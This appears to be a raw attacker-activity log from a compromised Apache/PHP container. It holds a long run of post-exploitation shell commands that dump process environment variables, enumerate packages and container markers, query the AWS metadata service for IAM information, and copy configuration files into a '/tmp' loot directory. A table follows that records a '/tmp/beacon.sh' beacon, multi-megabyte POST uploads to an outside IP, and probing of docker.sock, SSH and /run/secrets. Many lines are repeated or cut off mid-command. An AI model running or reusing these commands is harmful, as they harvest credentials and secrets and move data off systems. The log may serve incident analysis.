echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; timeout 40 sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
ec ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; timeout 40 sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgro ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; timeout 40 sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; timeout 40 sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sort -nr ; head -500 ; find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h ; find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h ; head -200 ; sort -nr ; mkdir -p /tmp/<REDACTED>-443/configs ; find /home -type f -size -256k ; head -80 ; head -80 ; find /usr/local/etc/php -type f -size -256k ; find /etc/apache2 -type f -size -256k ; head -80 ; head -400 ; find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-h ; cp -p /etc/apache2/apache2.conf /tmp/<REDACTED>-443/configs/0001__etc__apache2__apache2.conf ; sort -u /tmp/<REDACTED>-443/.candidates ; grep -qx 543c6ce7776d222a16c598d1d1108d2de9be5a812f832a35dcaa0bc50369341b ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/conf-available/charset.conf /tmp/<REDACTED>-443/configs/0002__etc__apache2__conf-available__charset.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx c2c23f0d22e8003ff9fbc30affa176dc2cb76112ead31492464fcb51fd3c48d4 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 96e05361253da0d9be1ec6c7c9003cbbb261ba65b659bd6e40ca0eac43093c43 ; cp -p /etc/apache2/conf-available/docker-php.conf /tmp/<REDACTED>-443/configs/0003__etc__apache2__conf-available__docker-php.conf ; grep -qx b58e5cc37210940c8d08439feeefd17c0b7cf641bbadb04cd568b7324aa1840c ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/conf-available/localized-error-pages.conf /tmp/<REDACTED>-443/configs/0004__etc__apache2__conf-available__localized-error-pages.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx af15ee8478cfbd00ae1fa5091ea5f19cce29a1ce60e567579c7c3b020b332335 ; cp -p /etc/apache2/conf-available/other-vhosts-access-log.conf /tmp/<REDACTED>-443/configs/0005__etc__apache2__conf-available__other-vhosts-access-log.conf ; grep -qx 86ce9176a02f929ef4abeecaf4bd841ffa92c5aba96a3a7206d48d086d746a30 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 589e1ff2671b578ee97ea0e322a9d5337aef755dfc6868cf15d3dfad944081ce ; cp -p /etc/apache2/magic /tmp/<REDACTED>-443/configs/0009__etc__apache2__magic ; cp -p /etc/apache2/envvars /tmp/<REDACTED>-443/configs/0008__etc__apache2__envvars ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/conf-available/security.conf /tmp/<REDACTED>-443/configs/0006__etc__apache2__conf-available__security.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx f3c96a2ec95fbb3371f2c18d77366fc09b07267a156beb4870943f3f029eb3f2 ; cp -p /etc/apache2/conf-available/serve-cgi-bin.conf /tmp/<REDACTED>-443/configs/0007__etc__apache2__conf-available__serve-cgi-bin.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 86296f2324bcc27790a80c863886fffd10d7a48b28587151e541f38136055b8b ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx c7beb28538dbcb96cd5ffa98d7b4c10b494cac4575e081ec43ea82a8dd4c2e5d ; cp -p /etc/apache2/mods-available/access_compat.load /tmp/<REDACTED>-443/configs/0010__etc__apache2__mods-available__access_compat.load ; grep -qx c8ffcdbca84fa3e9ca0aaead34c8d091ced52b23e8bd01d20713c859b1bfc5a7 ; cp -p /etc/apache2/mods-available/actions.conf /tmp/<REDACTED>-443/configs/0011__etc__apache2__mods-available__actions.conf ; grep -qx a4b933cd058939054d42b578098ae0e6be639dc997aaf302420e16c5c860ce8a ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/auth_basic.load /tmp/<REDACTED>-443/configs/0012__etc__apache2__mods-available__auth_basic.load ; grep -qx 0b16917087731932bba3a0f0d0b39c6f1cacfe1d41991d902ebebb5ec6dee7db ; grep -qx 7010d97d6634dc3ead34626ec521dafd4788022fcc8884dcc0f487f7b911cb53 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/auth_digest.load /tmp/<REDACTED>-443/configs/0013__etc__apache2__mods-available__auth_digest.load ; cp -p /etc/apache2/mods-available/auth_form.load /tmp/<REDACTED>-443/configs/0014__etc__apache2__mods-available__auth_form.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx e448b675683da32700029e6f68314de99b446101e07049707dd090e6eaef7293 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/authn_dbd.load /tmp/<REDACTED>-443/configs/0015__etc__apache2__mods-available__authn_dbd.load ; grep -qx 02d4948b34c8eb9e8fd73e3cda48c95fb27046130b796700a365285ba79c9796 ; cp -p /etc/apache2/mods-available/authn_dbm.load /tmp/<REDACTED>-443/configs/0016__etc__apache2__mods-available__authn_dbm.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 409c8e2972b8fb0aac7560cbef73787a9a0559c92d453024caab13ae3b25f19c ; cp -p /etc/apache2/mods-available/authnz_fcgi.load /tmp/<REDACTED>-443/configs/0017__etc__apache2__mods-available__authnz_fcgi.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx e911902e340d361e1f71465faeb9d2a5e3fb7fd88505b1c34f1caec4c5fd8017 ; cp -p /etc/apache2/mods-available/authnz_ldap.load /tmp/<REDACTED>-443/configs/0018__etc__apache2__mods-available__authnz_ldap.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 7bca4c36d5b7b318f79593a99fe32322a19afa8a7142295fcaad27ff96a474c5 ; cp -p /etc/apache2/mods-available/authz_core.load /tmp/<REDACTED>-443/configs/0019__etc__apache2__mods-available__authz_core.load ; cp -p /etc/apache2/mods-available/authz_dbm.load /tmp/<REDACTED>-443/configs/0021__etc__apache2__mods-available__authz_dbm.load ; grep -qx d219d39b2a55db76bfd8c14ecdfe06ea40a6bbc71df2ff1a541c873384438e3e ; cp -p /etc/apache2/mods-available/authz_user.load /tmp/<REDACTED>-443/configs/0022__etc__apache2__mods-available__authz_user.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx da5f215f80664214136546a3d596fc0b2e5087c8bf0eb0262658ffe892d1a8dd ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 462af26b41a9459eb89fa52a4680cf6f782ab1ac390e0d40ffa979283ac43ce7 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/brotli.load /tmp/<REDACTED>-443/configs/0023__etc__apache2__mods-available__brotli.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 481ce792fe95bbd71acf1879fa5859e8b6025b20bdea736e01a137b94b65761b ; cp -p /etc/apache2/mods-available/cache_socache.load /tmp/<REDACTED>-443/configs/0024__etc__apache2__mods-available__cache_socache.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/authz_dbd.load /tmp/<REDACTED>-443/configs/0020__etc__apache2__mods-available__authz_dbd.load ; grep -qx 320727f6cd3f45f66b0d5614a45dd481f470f1139ee5a00f440c7e353690a15f ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 7d47ebb6d5a15a3f76c657c726dbbfbe65d36412c8d3a3785b9e20241c50284e ; cp -p /etc/apache2/mods-available/cern_meta.load /tmp/<REDACTED>-443/configs/0025__etc__apache2__mods-available__cern_meta.load ; grep -qx b1f194962c61227b8b94dad037b69b116ea9c782586e96df8cc1d338ec657e6f ; cp -p /etc/apache2/mods-available/dav_fs.load /tmp/<REDACTED>-443/configs/0028__etc__apache2__mods-available__dav_fs.load ; grep -qx 8232d9a40d516b1e8e3856ab13f6f502ac7639929b61692b68972f9f0f7dfeec ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/dav_lock.load /tmp/<REDACTED>-443/configs/0029__etc__apache2__mods-available__dav_lock.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 8eb6af17232f8bdc72f702a1f554813edc418d17c1b9c60879bf95c3f2c8a397 ; cp -p /etc/apache2/mods-available/cgid.load /tmp/<REDACTED>-443/configs/0026__etc__apache2__mods-available__cgid.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 0685a94c3eb619ff40c04223a492abac258aa1b346c81e665ac684ad1af6f768 ; cp -p /etc/apache2/mods-available/data.load /tmp/<REDACTED>-443/configs/0027__etc__apache2__mods-available__data.load ; cp -p /etc/apache2/mods-available/dbd.load /tmp/<REDACTED>-443/configs/0030__etc__apache2__mods-available__dbd.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 87210bf2b2cc8d2fc934c9537330f5ce5ccd5508ddebd002538c2e3e912cd083 ; cp -p /etc/apache2/mods-available/dialup.load /tmp/<REDACTED>-443/configs/0031__etc__apache2__mods-available__dialup.load ; grep -qx 98fc163c39b10e0dbeab9c273efe71b78f713a6997a45a10e5980aa0a972b052 ; grep -qx 4a4f78ffaced05b65e09082978ea7a050f4e7106c27fe605ee98b7b1dbae8740 ; cp -p /etc/apache2/mods-available/dir.conf /tmp/<REDACTED>-443/configs/0032__etc__apache2__mods-available__dir.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx e217b8984d3def11cfa84517c4a0f2174513a22dfbdd99afd8a1708ca5a4fd00 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/file_cache.load /tmp/<REDACTED>-443/configs/0034__etc__apache2__mods-available__file_cache.load ; grep -qx 1ec99f5ea74482ee1fbda2003453b83f81fc3a0b9a410feb40e0d29e498f8b80 ; cp -p /etc/apache2/mods-available/dir.load /tmp/<REDACTED>-443/configs/0033__etc__apache2__mods-available__dir.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 918335d6c751a285bc7ada3c0ee54106723022c7c1ef62749bcef71796bb157d ; cp -p /etc/apache2/mods-available/filter.load /tmp/<REDACTED>-443/configs/0035__etc__apache2__mods-available__filter.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 37e43a0b97d6018d342048b838ca017fd68857b4860e4a9abe9116e7f88d89d3 ; cp -p /etc/apache2/mods-available/heartbeat.load /tmp/<REDACTED>-443/configs/0036__etc__apache2__mods-available__heartbeat.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/http2.conf /tmp/<REDACTED>-443/configs/0037__etc__apache2__mods-available__http2.conf ; grep -qx 2425be9c2c9ec7d3912048c16ce2e12566db476f8603f1029ffbded51f90a185 ; grep -qx 005f784207278b74409bc550ff6664019f54b6fc04b8fccdba7686d1dfbf7bf7 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/http2.load /tmp/<REDACTED>-443/configs/0038__etc__apache2__mods-available__http2.load ; grep -qx 295f89a604fcad6517013c3dcc93e59eebf749d3bdf5de31ceac34fdf7f215a5 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/ident.load /tmp/<REDACTED>-443/configs/0039__etc__apache2__mods-available__ident.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/lbmethod_bytraffic.load /tmp/<REDACTED>-443/configs/0041__etc__apache2__mods-available__lbmethod_bytraffic.load ; grep -qx 689069cd516b390acaa81f735be03a06d00977dc772161e0ae010a465460f16e ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/lbmethod_heartbeat.load /tmp/<REDACTED>-443/configs/0042__etc__apache2__mods-available__lbmethod_heartbeat.load ; grep -qx ac98898999e9be33917fb85c2c447783fe690fb2daf35961864ce12188aba992 ; cp -p /etc/apache2/mods-available/imagemap.load /tmp/<REDACTED>-443/configs/0040__etc__apache2__mods-available__imagemap.load ; grep -qx 5c9900e6d20a67c7ecee2ae515d7d7320c2c8be61a0f460f13da03ed97ce6076 ; grep -qx aea65b1ea8d48100e7b22862c65cffad6f0835f83c1749585276c4b147e05ff4 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/log_debug.load /tmp/<REDACTED>-443/configs/0043__etc__apache2__mods-available__log_debug.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx cff0e1248eaea7619acf2d23c20677886a8e69bf849af9693d7c4eee270a7bcc ; cp -p /etc/apache2/mods-available/lua.load /tmp/<REDACTED>-443/configs/0044__etc__apache2__mods-available__lua.load ; grep -qx 3b5b341da5c398db85696dbac30eba03eb70a9a40c1a694c9e901767735ae2cf ; cp -p /etc/apache2/mods-available/mpm_event.conf /tmp/<REDACTED>-443/configs/0046__etc__apache2__mods-available__mpm_event.conf ; cp -p /etc/apache2/mods-available/mpm_prefork.conf /tmp/<REDACTED>-443/configs/0047__etc__apache2__mods-available__mpm_prefork.conf ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 827c3be42b423720a5d414fec0cd6c0cfc0055c0e90c0511829b5b423538e831 ; cp -p /etc/apache2/mods-available/mpm_prefork.load /tmp/<REDACTED>-443/configs/0048__etc__apache2__mods-available__mpm_prefork.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx fc06b0badf68c82dd897441b0e39c457f3be49583f0401731bc5c9ae547b9495 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/md.load /tmp/<REDACTED>-443/configs/0045__etc__apache2__mods-available__md.load ; grep -qx 23a180df0d1290a3068347145570eaa54bf8cb598181482e50a07a12d3edf516 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 48ba3d685171bbb591a5ca9210eac338369d21923a327ac211ad76955838a440 ; cp -p /etc/apache2/mods-available/mpm_worker.load /tmp/<REDACTED>-443/configs/0049__etc__apache2__mods-available__mpm_worker.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx 3041b28664a6b7dee9e93adaf09e0d6cbbfd29016f6a634fcfa0429cba39d7be ; cp -p /etc/apache2/mods-available/negotiation.conf /tmp/<REDACTED>-443/configs/0050__etc__apache2__mods-available__negotiation.conf ; grep -qx b549a5a8522d61b72ae6e7920cafc3680b4a25dc9a5d32485ac88c2a23726fd0 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/proxy.conf /tmp/<REDACTED>-443/configs/0051__etc__apache2__mods-available__proxy.conf ; grep -qx 34910d52f754e74f2ff322705efd9654cc2da2213ba9350c58f5d3320c3daedc ; cp -p /etc/apache2/mods-available/proxy_balancer.load /tmp/<REDACTED>-443/configs/0052__etc__apache2__mods-available__proxy_balancer.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx d53f95046d13ba64721db191dfff2f4f38b8c6991bc7c1c18f91b9220efe8ad9 ; cp -p /etc/apache2/mods-available/proxy_hcheck.load /tmp/<REDACTED>-443/configs/0053__etc__apache2__mods-available__proxy_hcheck.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/proxy_http.load /tmp/<REDACTED>-443/configs/0054__etc__apache2__mods-available__proxy_http.load ; grep -qx 70fbaff68260414cdbe00a0fb095cd7587cb29cd6505d8ba0f0bd46b1e4474b5 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx ad64eb2df8f08174ba262f66c8f2d6e803eb01510da520224ea9be19201e6882 ; cp -p /etc/apache2/mods-available/proxy_http2.load /tmp/<REDACTED>-443/configs/0055__etc__apache2__mods-available__proxy_http2.load ; grep -qx 16cae27f01a217b73b11b63540313c470b5832dc98506eaa4743d4a952380748 ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; cp -p /etc/apache2/mods-available/proxy_uwsgi.load /tmp/<REDACTED>-443/configs/0056__etc__apache2__mods-available__proxy_uwsgi.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx f0aacb7263f7dcd72d2c211248fa126f78bd7fa06a8c055ec7131808e1ecaaf4 ; cp -p /etc/apache2/mods-available/proxy_wstunnel.load /tmp/<REDACTED>-443/configs/0057__etc__apache2__mods-available__proxy_wstunnel.load ; cut -f2 /tmp/<REDACTED>-443/configs.tsv ; grep -qx b5890fe1d69490e525cabacc11b3ce2b2d30650e27abdbc1dea5bfff11b28f86 ; cp -p /etc/apache2/mods-available/ratelimit.load /tmp/<REDACTED>-443/configs/0058__etc__apache2__mods-available__ratelimit.load |
| 2026-10-29 19:58:50 | 185.65.134.250 | 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -f /tmp/beacon.sh |
| 2026-10-29 19:58:50 | 185.65.134.250 | 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | chmod +x /tmp/beacon.sh |
| 2026-10-29 20:03:05 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | id |
| 2026-10-29 20:03:05 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | id |
| 2026-10-29 20:03:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /.dockerenv |
| 2026-10-29 20:03:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | cat /etc/os-release |
| 2026-10-29 20:03:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | uname -a |
| 2026-10-29 20:03:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /var/www |
| 2026-10-29 20:03:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /var/www/html |
| 2026-10-29 20:03:21 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /var/www/html/includes |
| 2026-10-29 20:03:21 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /usr/sbin/sshd |
| 2026-10-29 20:03:27 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /etc/ssh |
| 2026-10-29 20:03:27 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /var/run/docker.sock /run/secrets |
| 2026-10-29 20:03:27 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /tmp /tmp/service-documents |
